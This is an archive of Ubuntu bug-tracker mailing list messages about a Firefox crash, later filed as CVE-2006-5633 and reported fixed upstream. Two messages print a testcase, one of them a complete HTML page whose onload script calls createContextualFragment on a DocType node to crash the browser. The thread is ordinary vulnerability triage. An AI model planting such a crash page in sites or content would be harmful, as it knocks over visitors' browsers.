[Bug 69719] Re: Firefox crash
** Changed in: firefox (upstream) Status: In Progress = Fix Released -- Firefox crash https://launchpad.net/bugs/69719 -- ubuntu-bugs mailing list ubuntu-bugs@lists.ubuntu.com https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs
[Bug 69719] Re: Firefox crash
** CVE added: http://www.cve.mitre.org/cgi- bin/cvename.cgi?name=2006-5633 ** Summary changed: - Firefox crash + range.createContextualFragment() crash when range node is DocType -- range.createContextualFragment() crash when range node is DocType https://launchpad.net/bugs/69719 -- ubuntu-bugs mailing list ubuntu-bugs@lists.ubuntu.com https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs
[Bug 69719] Re: Firefox crash
** Changed in: firefox (upstream) Status: Confirmed = In Progress -- Firefox crash https://launchpad.net/bugs/69719 -- ubuntu-bugs mailing list ubuntu-bugs@lists.ubuntu.com https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs
[Bug 69719] Re: Firefox crash
This is known upstream. ** Bug watch added: Mozilla Bugzilla #358797 https://bugzilla.mozilla.org/show_bug.cgi?id=358797 ** Also affects: firefox (upstream) via https://bugzilla.mozilla.org/show_bug.cgi?id=358797 Importance: Unknown Status: Unknown -- Firefox crash https://launchpad.net/bugs/69719 -- ubuntu-bugs mailing list ubuntu-bugs@lists.ubuntu.com https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs
[Bug 69719] Re: Firefox crash
** Changed in: firefox (upstream) Status: Unknown = Confirmed -- Firefox crash https://launchpad.net/bugs/69719 -- ubuntu-bugs mailing list ubuntu-bugs@lists.ubuntu.com https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs
[Bug 69719] Re: Firefox crash
This is the relatory of the crash ** Attachment added: Relatory of error http://librarian.launchpad.net/4945565/_usr_lib_firefox_firefox-bin.jeAYOI.crash -- Firefox crash https://launchpad.net/bugs/69719 -- ubuntu-bugs mailing list ubuntu-bugs@lists.ubuntu.com https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs
[Bug 69719] Re: Firefox crash
Confirmed. Could you test with other versions of Firefox and/or from other distributions, windows or mac os? ** Changed in: firefox (Ubuntu) Status: Unconfirmed = Confirmed -- Firefox crash https://launchpad.net/bugs/69719 -- ubuntu-bugs mailing list ubuntu-bugs@lists.ubuntu.com https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs
Re: [Bug 69719] Re: Firefox crash
I will check it with windows! On Wednesday, 1 de November de 2006 18:14, manu wrote: Confirmed. Could you test with other versions of Firefox and/or from other distributions, windows or mac os? ** Changed in: firefox (Ubuntu) Status: Unconfirmed = Confirmed -- Firefox crash https://launchpad.net/bugs/69719 -- ubuntu-bugs mailing list ubuntu-bugs@lists.ubuntu.com https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs
[Bug 69719] Re: Firefox crash
This seems like a security vulnerability, however, I am not sure whether
it is know or not. If you have time, perhaps you could try to look it up
in https://launchpad.net/distros/ubuntu/+source/firefox/+bugs
or upstream in https://bugzilla.mozilla.org
Try using parts of the testcase to find it:
range = document.createRange();
range.selectNode(document.firstChild);
range.createContextualFragment('span/span');
--
Firefox crash
https://launchpad.net/bugs/69719
--
ubuntu-bugs mailing list
ubuntu-bugs@lists.ubuntu.com
https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs
[Bug 69719] Re: Firefox crash
Details that I had obtained using Internet Explorer
Security bug! Malicious java script code. Confirmed!
!DOCTYPE html PUBLIC -//W3C//DTD HTML 4.01 Transitional//EN
html
head
script type=text/javascript
function do_crash()
{
var range;
range = document.createRange();
range.selectNode(document.firstChild);
range.createContextualFragment('span/span');
}
/script
/head
body onload=do_crash()
pGood bye Firefox!/p
/body
/html
** This bug has been flagged as a security issue
--
Firefox crash
https://launchpad.net/bugs/69719
--
ubuntu-bugs mailing list
ubuntu-bugs@lists.ubuntu.com
https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs
[Bug 69719] Re: Firefox crash
This seems to crash in Firefox 2.0 for Windows, and crash Galeon too. This is a security bug I think. Not sure since I'm not a programmer, only and advanced user, anyone can help get more details about this? Only Internet Explorer had opened the site without problems. -- Firefox crash https://launchpad.net/bugs/69719 -- ubuntu-bugs mailing list ubuntu-bugs@lists.ubuntu.com https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs
[Bug 69719] Re: Firefox crash
I think this is a buffer overflow exploit. -- Firefox crash https://launchpad.net/bugs/69719 -- ubuntu-bugs mailing list ubuntu-bugs@lists.ubuntu.com https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs
